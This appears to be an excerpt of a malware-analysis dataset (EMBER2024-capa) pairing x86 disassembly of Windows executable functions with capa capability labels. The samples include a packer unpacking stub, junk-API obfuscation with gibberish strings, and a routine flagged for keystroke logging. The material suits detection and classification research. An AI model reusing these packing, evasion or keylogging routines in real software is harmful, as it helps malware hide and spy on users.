joyce8/EMBER2024-capa huggingface dataset:
Function at 0x421c90
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x41c
mov eax, dword [0x42914c]
xor eax, esp
mov dword [esp + 0x418], eax
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
push edi
mov dword [esp + 0xc], eax
cmp dword [ebp + 0xc], esi
jle 0x421d6b
mov edi, dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
mov ebx, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
cmp dword [ebp + 0xc], 0x2d
jne 0x421cf8
push 0
push str.wilebamigehuteyebayo_mumajuzokirigulonusu_zuhokinuligoloy_visusanedefubiluyikipukewafeju_seroz
call edi
push str.rowozemunuloc_jin
push str.cimuzenaherepixekojicodofunibug
push str.netigeyonakozodosunobe_tonocekacawuruzowajuxipunud_votocorumuxehis
push str.vevonaluvodupamajicepeloponebe_wixereyobetiliverofeyayutoru_jetob_tufuhavojofefegodatuwud_sadusarilatedabuyoyumulipib
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
call fcn.00421be0
mov ecx, dword [esp + 0xc]
xor byte [ecx + esi], al
cmp dword [ebp + 0xc], 0xf
jne 0x421d61
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
xor eax, eax
push eax
lea edx, [esp + 0x24]
push edx
push 0x426f98
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
mov dword [esp + 0x26], eax
mov word [esp + 0x2a], ax
xor ecx, ecx
lea eax, [esp + 0x1c]
push eax
push ecx
push ecx
mov word [esp + 0x28], cx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push 0x426f9c
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
inc esi
cmp esi, dword [ebp + 0xc]
jl 0x421ccb
cmp dword [ebp + 0xc], 0x2d
jne 0x421d85
mov dword [0x42c8d0], 0xa62e7790
mov dword [0x42c8d4], 0xffffffff
mov ecx, dword [esp + 0x424]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401a84
mov esp, ebp
pop ebp
ret
Function at 0x422170
Capabilities:
Access the windows event log
Manipulate console buffer
Set file attributes

Disassembly:
sub esp, 0x14
mov eax, dword [0x42c8c4]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
push esi
mov dword [esp + 0x10], 0x1540b5
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x14]
cmp eax, 0xcc1
jne 0x4221ac
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov eax, dword [0x42c8c4]
mov dword [0x42c52c], 0x8e468c60
cmp eax, 0x3dc
jne 0x42220b
push 0
push str.dafesatalosolovatuboboyuhiseheyu
call ebx
xor eax, eax
lea edx, [esp + 0x18]
push edx
push eax
push eax
push eax
push eax
mov dword [esp + 0x24], eax
call ebp
push 0
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x28]
push edx
push esi
push 0
push 0
push edi
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AccessCheckByType]
push str.fudagugoholixihufeloko
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
mov eax, dword [0x42c8c4]
dec dword [esp + 0x14]
jne 0x422198
mov edi, dword [sym.imp.ADVAPI32.dll_OpenEventLogW]
xor esi, esi
mov ebp, 0xec58acac
or ebx, 0xffffffff
cmp eax, 0x997
jne 0x422233
push 0
push 0
call edi
mov eax, dword [0x42c8c4]
cmp esi, 0x846373
jne 0x42224a
mov eax, dword [0x42aad0]
add eax, 0xa231
mov dword [0x42c8c4], eax
cmp eax, 0x141
jne 0x42225d
mov dword [0x42bd18], ebp
mov dword [0x42bd1c], ebx
inc esi
cmp esi, 0x123c962
jl 0x422221
call fcn.00421de0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x14
ret 0x10
Function at 0x4024d0
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x406008], 0x8088405
inc edx
mov dword [ebx + 0x406008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x419760
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40f015
lea edi, [esi - 0xe015]
push edi
or ebp, 0xffffffff
jmp 0x419782
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419789
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419778
mov eax, 1
add ebx, ebx
jne 0x41979b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419790
jne 0x4197ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419790
xor ecx, ecx
sub eax, 3
jb 0x4197c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x419832
mov ebp, eax
add ebx, ebx
jne 0x4197cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4197d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4197fc
inc ecx
add ebx, ebx
jne 0x4197e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4197dd
jne 0x4197f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4197dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41981c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41980d
jmp 0x41977e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41981c
add edi, ecx
jmp 0x41977e
pop esi
mov edi, esi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41983a
cmp byte [edi], 5
jne 0x41983a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41983f
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x4198b7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1908c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41986c
mov ecx, edi
jns 0x41989b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19090]
or eax, eax
je 0x4198b1
mov dword [ebx], eax
add ebx, 4
jmp 0x419889
call dword [esi + 0x190a0]
mov ebp, dword [esi + 0x19094]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4198eb
sub esp, 0xffffff80
jmp 0x404c20
Function at 0x401380
Capabilities:
Get disk information
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x420a08
push eax
mov dword fs:[0], esp
mov eax, dword [0x846f4c]
sub esp, 0xc20
push ebx
push esi
push edi
cmp eax, 0x93
jne 0x401429
push 0
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push 0
lea eax, [ebp - 0x42c]
push eax
push 0
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push 0
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
lea eax, [ebp - 0x2c]
call fcn.004016a0
push 0x422b64
push 0
mov dword [ebp - 4], 0
call fcn.00401b96
call fcn.004017ee
push 0
push 0
call fcn.00401ac7
push 0
push 0
call fcn.0040197d
push 0
push 0
call fcn.00401ac7
add esp, 0x20
push 0
call fcn.00401e58
mov edx, dword [0x427980]
add eax, 0x1134b
push eax
push 0
mov dword [0x8479b0], edx
mov dword [0x846f4c], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x846900], eax
call fcn.004012c0
xor esi, esi
cmp dword [0x846f4c], esi
jbe 0x4014ba
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
jmp 0x401470
mov eax, dword [0x8479b0]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x846900]
mov byte [edx + esi], cl
cmp dword [0x846f4c], 0x490
jne 0x4014b1
push 0
push 0
call ebx
push 0
lea eax, [ebp - 0x10]
push eax
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
inc esi
cmp esi, dword [0x846f4c]
jb 0x401470
mov edi, dword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor esi, esi
mov ecx, dword [0x846f4c]
add ecx, esi
cmp ecx, 0x8d
jne 0x4014f3
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push str.timalelitunomikemoleduke
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
inc esi
cmp esi, 0x38681
jl 0x4014c8
call fcn.00401220
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
lea esp, [esp]
push 0
call edi
cmp esi, 0x62
jne 0x40151e
call fcn.004012a0
inc esi
cmp esi, 0x674db
jl 0x401510
mov esi, dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov ebx, dword [sym.imp.KERNEL32.dll_AddAtomA]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x846f4c], 0x86
jne 0x401565
push 0
lea edx, [ebp - 0xc2c]
push edx
push 0
call esi
push 0
push 0
push 0
call edi
push 0
call ebx
sub dword [ebp - 0x10], 1
jne 0x401540
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x846900]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4067b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424a68]
jne 0x4067ba
repz ret
jmp fcn.00409cdf
Function at 0x409756
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004037e6
and dword [ebp - 4], 0
cmp dword [0x429338], 0
mov ebx, eax
jne 0x409807
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4098b8
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4098b8
push eax
call fcn.00403774
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x429338], eax
call esi
push eax
call fcn.00403774
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42933c], eax
call esi
push eax
call fcn.00403774
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x429340], eax
call esi
push eax
call fcn.00403774
pop ecx
mov dword [0x429348], eax
test eax, eax
je 0x409807
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00403774
pop ecx
mov dword [0x429344], eax
mov eax, dword [0x429344]
cmp eax, ebx
je 0x40985f
cmp dword [0x429348], ebx
je 0x40985f
push eax
call fcn.004037ef
push dword [0x429348]
mov esi, eax
call fcn.004037ef
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40985f
test edi, edi
je 0x40985f
call esi
test eax, eax
je 0x409856
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409856
test byte [ebp - 0xc], 1
jne 0x40985f
or dword [ebp + 0x10], 0x200000
jmp 0x409898
mov eax, dword [0x42933c]
cmp eax, ebx
je 0x409898
push eax
call fcn.004037ef
pop ecx
test eax, eax
je 0x409898
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409898
mov eax, dword [0x429340]
cmp eax, ebx
je 0x409898
push eax
call fcn.004037ef
pop ecx
test eax, eax
je 0x409898
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x429338]
call fcn.004037ef
pop ecx
test eax, eax
je 0x4098b8
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4098ba
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4026cc
Capabilities:
Terminate process

Disassembly:
test eax, eax
je 0x4026da
call dword [0x44501c]
or eax, eax
je 0x4026db
ret
mov al, 1
jmp fcn.00402758

Function at 0x4026e4
Capabilities:
Terminate process

Disassembly:
test eax, eax
je 0x4026f2
call dword [0x445020]
or eax, eax
jne 0x4026f3
ret
mov al, 2
jmp fcn.00402758

Function at 0x4026fc
Capabilities:
Terminate process

Disassembly:
mov ecx, dword [eax]
test ecx, ecx
je 0x402734
test edx, edx
je 0x40271e
push eax
mov eax, ecx
call dword [0x445024]
pop ecx
or eax, eax
je 0x40272d
mov dword [ecx], eax
ret
mov al, 2
jmp fcn.00402758
mov dword [eax], edx
mov eax, ecx
call dword [0x445020]
or eax, eax
jne 0x402717
ret
mov al, 1
jmp fcn.00402758
test edx, edx
je 0x402748
push eax
mov eax, edx
call dword [0x44501c]
pop ecx
or eax, eax
je 0x40272d
mov dword [ecx], eax
ret

Function at 0x402758
Capabilities:
Terminate process

Disassembly:
and eax, 0x7f
mov ecx, dword [0x446004]
test ecx, ecx
je 0x402768
pop edx
call ecx
dec eax
mov al, byte [eax + 0x402781]
jns 0x40277c
call fcn.00405e84
mov eax, dword [eax + 4]
jmp fcn.004038d4

Function at 0x402ad0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [section.DATA]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402b68
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402b48
xor eax, eax
push ebp
push 0x402b41
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402b84
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402b48
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [section.DATA]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [section.DATA], ax
mov esp, ebp
pop ebp
ret

Function at 0x402de8
Capabilities:
Terminate process

Disassembly:
test eax, eax
je 0x402e02
mov ecx, eax
mov ecx, dword [ecx]
cmp ecx, edx
je 0x402e02
mov ecx, dword [ecx - 0x24]
test ecx, ecx
jne 0x402dee
mov al, 0xa
jmp fcn.00402758
ret

Function at 0x402e34
Capabilities:
Terminate process

Disassembly:
cmp dword [0x446018], 0
je 0x40283f
call dword [0x446018]
mov eax, 0xd2
jmp fcn.004038d4
push eax
push ecx
mov eax, dword [eax]
call fcn.00402e04
pop ecx
pop eax
je 0x402e43
jmp ebx
pop ecx
jmp 0x402830

Function at 0x402e4c
Capabilities:
Terminate process

Disassembly:
push ebx
mov ebx, edx
mov eax, dword [eax]
call fcn.00402e04
mov eax, ebx
pop ebx
jne 0x402e61
pop ecx
jmp 0x402830
ret

Function at 0x403f04
Capabilities:
Terminate process

Disassembly:
test edx, edx
je fcn.00403ec8
mov ecx, dword [edx - 4]
shr ecx, 1
je fcn.00403ec8
push ecx
push edx
push eax
call sub.oleaut32.dll_SysReAllocStringLen
test eax, eax
je 0x403eb0
ret
Function at 0x403fac
Capabilities:
Terminate process

Disassembly:
mov al, 1
jmp fcn.00402758
test ecx, ecx
je fcn.00403ec8
push eax
push ecx
push edx
call sub.oleaut32.dll_SysAllocStringLen
test eax, eax
je 0x403eb0
pop edx
push dword [edx]
mov dword [edx], eax
call sub.oleaut32.dll_SysFreeString
ret

Function at 0x404074
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
mov esi, edx
mov edi, ecx
xor edx, edx
mov al, byte [esi]
mov dl, byte [esi + 1]
xor ecx, ecx
cmp al, 0xa
je 0x4040b3
cmp al, 0xb
je 0x4040b3
cmp al, 0xc
je 0x4040bd
cmp al, 0xd
je 0x4040d0
cmp al, 0xe
je 0x4040ee
cmp al, 0xf
je 0x4040b3
cmp al, 0x11
je 0x4040b3
mov al, 2
pop edi
pop esi
pop ebx
jmp fcn.00402758
mov dword [ebx], ecx
add ebx, 4
dec edi
jg 0x4040b3
jmp 0x404102
mov dword [ebx], ecx
mov dword [ebx + 4], ecx
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], ecx
add ebx, 0x10
dec edi
jg 0x4040bd
jmp 0x404102
push ebp
mov ebp, edx
mov edx, dword [esi + ebp + 0xa]
mov eax, ebx
add ebx, dword [esi + ebp + 2]
mov ecx, dword [esi + ebp + 6]
mov edx, dword [edx]
call 0x404074
dec edi
jg 0x4040d3
pop ebp
jmp 0x404102
push ebp
mov ebp, edx
mov eax, ebx
add ebx, dword [esi + ebp + 2]
mov edx, esi
call fcn.00404048
dec edi
jg 0x4040f1
pop ebp
pop edi
pop esi
pop ebx
ret
mov ecx, 1
jmp 0x404074

Function at 0x404108
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
mov esi, edx
mov edi, ecx
xor edx, edx
mov al, byte [esi]
mov dl, byte [esi + 1]
xor ecx, ecx
cmp al, 0xa
je 0x4040b3
cmp al, 0xb
je 0x4040b3
cmp al, 0xc
je 0x4040bd
cmp al, 0xd
je 0x4040d0
cmp al, 0xe
je 0x4040ee
cmp al, 0xf
je 0x4040b3
cmp al, 0x11
je 0x4040b3
mov al, 2
pop edi
pop esi
pop ebx
jmp fcn.00402758
mov dword [ebx], ecx
add ebx, 4
dec edi
jg 0x4040b3
jmp 0x404102
mov dword [ebx], ecx
mov dword [ebx + 4], ecx
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], ecx
add ebx, 0x10
dec edi
jg 0x4040bd
jmp 0x404102
push ebp
mov ebp, edx
mov edx, dword [esi + ebp + 0xa]
mov eax, ebx
add ebx, dword [esi + ebp + 2]
mov ecx, dword [esi + ebp + 6]
mov edx, dword [edx]
call 0x404074
dec edi
jg 0x4040d3
pop ebp
jmp 0x404102
push ebp
mov ebp, edx
mov eax, ebx
add ebx, dword [esi + ebp + 2]
mov edx, esi
call fcn.00404048
dec edi
jg 0x4040f1
pop ebp
pop edi
pop esi
pop ebx
ret
mov ecx, 1
jmp 0x404074
Function at 0x404140
Capabilities:
Terminate process

Disassembly:
cmp ecx, 0
je 0x404226
push eax
push ebx
push esi
push edi
mov ebx, eax
mov esi, edx
mov edi, ecx
xor edx, edx
mov al, byte [esi]
mov dl, byte [esi + 1]
cmp al, 0xa
je 0x404190
cmp al, 0xb
je 0x4041aa
cmp al, 0xc
je 0x4041c1
cmp al, 0xd
je 0x4041d0
cmp al, 0xe
je 0x4041ee
cmp al, 0xf
je 0x404204
cmp al, 0x11
je 0x404213
pop edi
pop esi
pop ebx
pop eax
mov al, 2
jmp fcn.00402758
cmp ecx, 1
mov eax, ebx
jg 0x4041a1
call fcn.004038e0
jmp 0x404222
mov edx, ecx
call fcn.00403904
jmp 0x404222
cmp ecx, 1
mov eax, ebx
jg 0x4041b8
call fcn.00403ec8
jmp 0x404222
mov edx, ecx
call fcn.00403ee0
jmp 0x404222
mov eax, ebx
add ebx, 0x10
call fcn.004049a8
dec edi
jg 0x4041c1
jmp 0x404222
push ebp
mov ebp, edx
mov edx, dword [esi + ebp + 0xa]
mov eax, ebx
add ebx, dword [esi + ebp + 2]
mov ecx, dword [esi + ebp + 6]
mov edx, dword [edx]
call fcn.00404140
dec edi
jg 0x4041d3
pop ebp
jmp 0x404222
push ebp
mov ebp, edx
mov eax, ebx
add ebx, dword [esi + ebp + 2]
mov edx, esi
call fcn.00404114
dec edi
jg 0x4041f1
pop ebp
jmp 0x404222
mov eax, ebx
add ebx, 4
call fcn.004051d0
dec edi
jg 0x404204
jmp 0x404222
mov eax, ebx
mov edx, esi
add ebx, 4
call fcn.00404b9c
dec edi
jg 0x404213
pop edi
pop esi
pop ebx
pop eax
ret

Function at 0x404228
Capabilities:
Terminate process

Disassembly:
mov ecx, 1
jmp fcn.00404140

Function at 0x404234
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebx, eax
mov esi, edx
xor eax, eax
mov al, byte [ecx + 1]
lea edi, [ecx + eax + 0xa]
mov ebp, dword [edi - 4]
xor eax, eax
mov ecx, dword [edi - 8]
push ecx
mov ecx, dword [edi + 4]
sub ecx, eax
jle 0x404260
mov edx, eax
add eax, esi
add edx, ebx
call fcn.004027e4
mov eax, dword [edi + 4]
mov edx, dword [edi]
mov edx, dword [edx]
mov cl, byte [edx]
cmp cl, 0xa
je 0x40429f
cmp cl, 0xb
je 0x4042b0
cmp cl, 0xc
je 0x4042c1
cmp cl, 0xd
je 0x4042d2
cmp cl, 0xe
je 0x4042f2
cmp cl, 0xf
je 0x40430b
cmp cl, 0x11
je 0x40431c
mov al, 2
pop ebp
pop edi
pop esi
pop ebx
jmp fcn.00402758
mov edx, dword [esi + eax]
add eax, ebx
call fcn.00403934
mov eax, 4
jmp 0x40432d
mov edx, dword [esi + eax]
add eax, ebx
call fcn.00403f04
mov eax, 4
jmp 0x40432d
lea edx, [esi + eax]
add eax, ebx
call fcn.004045f0
mov eax, 0x10
jmp 0x40432d
xor ecx, ecx
mov cl, byte [edx + 1]
push dword [edx + ecx + 2]
push dword [edx + ecx + 6]
mov ecx, dword [edx + ecx + 0xa]
mov ecx, dword [ecx]
lea edx, [esi + eax]
add eax, ebx
call fcn.00404350
pop eax
jmp 0x40432d
xor ecx, ecx
mov cl, byte [edx + 1]
mov ecx, dword [edx + ecx + 2]
push ecx
mov ecx, edx
lea edx, [esi + eax]
add eax, ebx
call fcn.00404234
pop eax
jmp 0x40432d
mov edx, dword [esi + eax]
add eax, ebx
call fcn.004051e8
mov eax, 4
jmp 0x40432d
mov ecx, edx
mov edx, dword [esi + eax]
add eax, ebx
call fcn.00404bd8
mov eax, 4
add eax, dword [edi + 4]
add edi, 8
dec ebp
jne 0x40424e
pop ecx
sub ecx, eax
jle 0x404349
lea edx, [ebx + eax]
add eax, esi
call fcn.004027e4
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x404350
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebx, eax
mov esi, edx
mov edi, ecx
mov ebp, dword [esp + 0x14]
mov cl, byte [edi]
cmp cl, 0xa
je 0x404396
cmp cl, 0xb
je 0x4043ad
cmp cl, 0xc
je 0x4043c1
cmp cl, 0xd
je 0x4043d5
cmp cl, 0xe
je 0x4043f6
cmp cl, 0xf
je 0x404413
cmp cl, 0x11
je 0x404427
mov al, 2
pop ebp
pop edi
pop esi
pop ebx
jmp fcn.00402758
mov eax, ebx
mov edx, dword [esi]
call fcn.00403934
add ebx, 4
add esi, 4
dec ebp
jne 0x404396
jmp 0x40443b
mov eax, ebx
mov edx, dword [esi]
call fcn.00403f04
add ebx, 4
add esi, 4
dec ebp
jne 0x4043ad
jmp 0x40443b
mov eax, ebx
mov edx, esi
call fcn.004045f0
add ebx, 0x10
add esi, 0x10
dec ebp
jne 0x4043c1
jmp 0x40443b
xor ecx, ecx
mov cl, byte [edi + 1]
lea edi, [edi + ecx + 2]
mov eax, ebx
mov edx, esi
mov ecx, dword [edi + 8]
push dword [edi + 4]
call fcn.00404350
add ebx, dword [edi]
add esi, dword [edi]
dec ebp
jne 0x4043de
jmp 0x40443b
mov eax, ebx
mov edx, esi
mov ecx, edi
call fcn.00404234
xor eax, eax
mov al, byte [edi + 1]
add ebx, dword [edi + eax + 2]
add esi, dword [edi + eax + 2]
dec ebp
jne 0x4043f6
jmp 0x40443b
mov eax, ebx
mov edx, dword [esi]
call fcn.004051e8
add ebx, 4
add esi, 4
dec ebp
jne 0x404413
jmp 0x40443b
mov eax, ebx
mov edx, dword [esi]
mov ecx, edi
call fcn.00404bd8
add ebx, 4
add esi, 4
dec ebp
jne 0x404427
pop ebp
pop edi
pop esi
pop ebx
ret 4

Function at 0x4045f0
Capabilities:
Terminate process

Disassembly:
mov al, 0x10
jmp fcn.00402758
cmp eax, edx
je 0x404688
cmp word [eax], 8
jb 0x404628
push eax
push edx
cmp word [eax], 0x100
je 0x40461e
cmp word [eax], 0x101
je 0x404616
push eax
call sub.oleaut32.dll_VariantClear
jmp 0x404626
call dword [0x4463e4]
jmp 0x404626
add eax, 8
call fcn.004038e0
pop edx
pop eax
cmp word [edx], 8
jae 0x40463f
mov ecx, dword [edx]
mov dword [eax], ecx
mov ecx, dword [edx + 8]
mov dword [eax + 8], ecx
mov ecx, dword [edx + 0xc]
mov dword [eax + 0xc], ecx
ret
cmp word [edx], 0x100
je 0x40465a
cmp word [edx], 0x101
jne 0x404674
push eax
call 0x40462e
pop eax
jmp dword [0x4463ec]
mov edx, dword [edx + 8]
or edx, edx
je 0x40466b
mov ecx, dword [edx - 8]
inc ecx
jle 0x40466b
lock inc dword [edx - 8]
mov word [eax], pe_nt_image_headers32
mov dword [eax + 8], edx
ret
mov word [eax], 0
push edx
push eax
call sub.oleaut32.dll_VariantCopyInd
or eax, eax
jne 0x4045a4
ret